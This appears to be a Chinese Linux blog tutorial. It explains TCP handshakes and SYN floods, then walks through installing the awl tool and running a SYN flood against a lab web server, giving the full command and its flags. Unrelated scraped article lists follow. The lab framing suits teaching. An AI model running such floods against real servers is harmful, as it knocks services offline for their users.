实战:awl工具模拟洪水攻击,建立大量未完成第二次握手的TCP连接

基于TCP协议的数据传输,需要进行三次握手四次挥手才可以完成。每一次连接都会占用系统内存,直至连接关闭才会释放系统内存。在进行第一次握手时,客户端向服务端发送一个请求连接的报文,然后客户端进入SYN_SEND状态,服务器被动打开,进入SYN_RECV状态。这时进行第二次握手,服务端发送一个ACK确认报文给客户端,客户端正常是会收到ACK确认报文,然后客户端发送一个ACK报文给服务端,并进入ESTABLISHED状态。服务端接收客户端发来的ACK确认报文,也进入ESTABLISHED状态。以上过程就是三次握手。

问题来了,如果客户端的IP地址被伪装成一个不存在的IP地址,那在第二次握手时,服务端发给客户端的ACK确认报文,客户端就无法收到,就不能继续握手下去。这时僵持住了,等时间超时自动断开,才能释放内存。当存在大量的SYN发送给服务器,这时服务器就会占用非常多的内存,可能就会导致其他客户端也无法连接服务器。这种情况被称之为洪水攻击

awl工具模拟洪水攻击

# 客户机A上安装awl
[root@server20 ~]# ll awl-0.2.tar.gz
-rw-r--r--. 1 root root 296340 7月  18 14:10 awl-0.2.tar.gz
[root@server20 ~]# tar xzvf awl-0.2.tar.gz -C /usr/local/src/
[root@server20 ~]# cd /usr/local/src/awl-0.2/
[root@server20 awl-0.2]# ./configure && make && make install
[root@server20 awl-0.2]# which awl
/usr/local/bin/awl
# 客户机B上安装httpd服务
[root@client40 ~]# yum install httpd -y
[root@client40 ~]# firewall-cmd  --permanent --zone=public --add-port=80/tcp
success
[root@client40 ~]# firewall-cmd --reload
success
# 客户机A攻击客户机B
# ping下看能否ping通
[root@server20 ~]# ping 192.168.8.159
PING 192.168.8.159 (192.168.8.159) 56(84) bytes of data.
64 bytes from 192.168.8.159: icmp_seq=1 ttl=64 time=0.895 ms
^C
--- 192.168.8.159 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.895/0.895/0.895/0.000 ms
# 获取对应ip地址的mac地址
[root@server20 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.8.159            ether   00:0c:29:cc:1a:41   C                     ens32
192.168.8.102            ether   f8:a2:d6:f1:95:e5   C                     ens32
192.168.10.1                     (incomplete)                              ens32
192.168.8.1              ether   a0:d8:07:67:e7:56   C                     ens32
# 开始攻击,10s不到,就生成了大量的SYN_RECV连接
-i  发送数据包的网卡接口
-m  目标主机的mac地址
-d  目标主机的IP地址
-p  对应服务的端口号
[root@server20 ~]# awl -i ens32 -m 00:0c:29:cc:1a:41 -d 192.168.8.159 -p 80
^Cpool_renew success
pthread join 0 is success !
pthread join 1 is success !
pthread join 2 is success !
pthread join 3 is success !
pthread join 4 is success !
pthread join 5 is success !
pthread join 6 is success !
pthread join 7 is success !


这种洪水攻击自己虚拟机上玩玩就得了,在生产别搞事情。

Linux实战:awl-2.0工具模拟洪水攻击,建立大量的TCP连接相关推荐

  1. [转载]秀脱linux实战笔记linux-kernel-3.0.3实战篇

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 秀脱linux实战笔记linux-kernel-3.0.3实战片篇: QQ:     6 ...

  2. TCP三次握手之-awl工具-SYN洪水攻击

    文章目录 云盾数据 TCP三次握手 TCP报文段的头部格式 实战-使用tcpdump 抓包 tcpdump 常用参数 tcpdmp 抓包 awl -syn-洪水攻击 原理 实战 总结: 云盾数据 - ...

  3. Linux网络协议栈:关闭一个还有没发送数据完的TCP连接

    <监视和调整Linux网络协议栈:接收数据> <监控和调整Linux网络协议栈的图解指南:接收数据> <Linux网络 - 数据包的接收过程> <Linux网 ...

  4. JVM 调优实战--VisualVM综合分析可视化工具的使用教程(含远程JMX连接)

    目录 VisualVM工具的使用 启动VisualVM 概览 查看本地进程 查看CPU.内存.类.线程运行信息 查看线程详细信息 抽样器 监控远程的JVM 什么是JMX 监控远程的tomcat 使用V ...

  5. linux主频限制服务,linux抵御DDOS攻击 通过iptables限制TCP连接和频率

    cc攻击一到就有点兵临城下的感觉,正确的设置防护规则可以做到临危不乱,这里给出一个iptables对ip进行连接频率和并发限制,限制单ip连接和频率的设置规则的介绍 #单个IP在60秒内只允许新建20 ...

  6. linux rpm找不到命令_Linux实战013:yum工具丢失问题解决(yum安装)

    今天启动本来想在docker上配置个apache的,结果run的时候发现docker没有运行(我记得docker是一直启动的呀,也设置了开机启动的).我先查了下docker服务结果还真没有,那就只能手 ...

  7. 利用tcp三次握手,使用awl伪装MAC地址进行多线程SYN洪水攻击

    SYN洪水攻击概述: SYN洪水攻击主要源于: tcp协议的三次握手机制 tcp协议面向链接的协议 SYN洪水攻击的过程: 在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是 ...

  8. Linux实战教学笔记26:http协议原理

    第二十六节 http协议原理 标签(空格分隔): Linux实战教学笔记-陈思齐 ---本教学笔记是本人学习和工作生涯中的摘记整理而成,此为初稿(尚有诸多不完善之处),为原创作品,允许转载,转载时请务 ...

  9. TCP连接三次握手协议,释放连接四次挥手,以及使用 awl伪造mac地址进行多线程syn洪泛攻击。...

    这个TCP连接就是一次追女生-谈恋爱-分手,追求比分手简单,但是分手比追求复杂.哥,谈了半年的女朋友,在就快要成功了的时候分了,原因是因为有人在后面该老子背后搞SYN洪泛攻击,最后女朋友丢失了.学会T ...

最新文章

  1. IronRuby - 如何在VS2010下调试IronRuby代码
  2. 基于机器学习逻辑回归算法完成癌症病人的肿瘤是否良性的判断
  3. 公有云运维安全常见四大难题及解决方案
  4. lambdas_借助Java 8和lambdas,可以一起使用AssertJ和Awaitility
  5. android map数据更新数据,Android Intent Map 数据被覆盖
  6. 16/100. Symmetric Tree
  7. c++ 数据类型转换: static_cast dynamic_cast reinterpret_cast const_cast
  8. 《iOS 9 开发指南》——第6章,第6.7节iOS 9控件的属性
  9. python判断天数_python判断输入日期是该年的第几天
  10. 我对python的理解_python之我对装饰器的理解
  11. LTE学习:关于CNTI
  12. AOJ0028 Mode Value【出现次数最多+map+vector+水题】
  13. 线段树(SegmentTree)基础模板
  14. ehlib的DBGridEh控件中使用过滤功能的方法
  15. FTP文件同步(java版)
  16. Atitit 虚拟经济世代 与 知识管理
  17. c语言中end4,C语言编程,第四题
  18. linux备份没有vmlinuz,模拟centos6.8系统下initramfs文件和vmlinuz文件损坏恢复
  19. 数学建模入门篇(新手必看)
  20. 软考中级【数据库系统工程师】第0章:如何自学备考,考试介绍考什么,备考教材,上午和下午的体型分数分布,备考课程链接,个人备考感谢

热门文章

  1. 秒杀竞拍屡创网络神话:馅饼还是美丽陷阱
  2. 关于XP、2k、98的互访的问题的总结
  3. 使用webots的MPC的移动机器人轨迹跟踪控制
  4. 高纬度矩阵运算--NumPy
  5. Java中创建对象有哪几种方式,Java 中创建对象的4种方式--Java学习网
  6. python读取csv表格的数据并用matplotlib画曲线图
  7. java 首字母小写_Java中属性名首字母大小写问题
  8. 微信小程序background-img问题
  9. 数据结构—串-基本知识点(第五章)
  10. 无线网络突然连不上了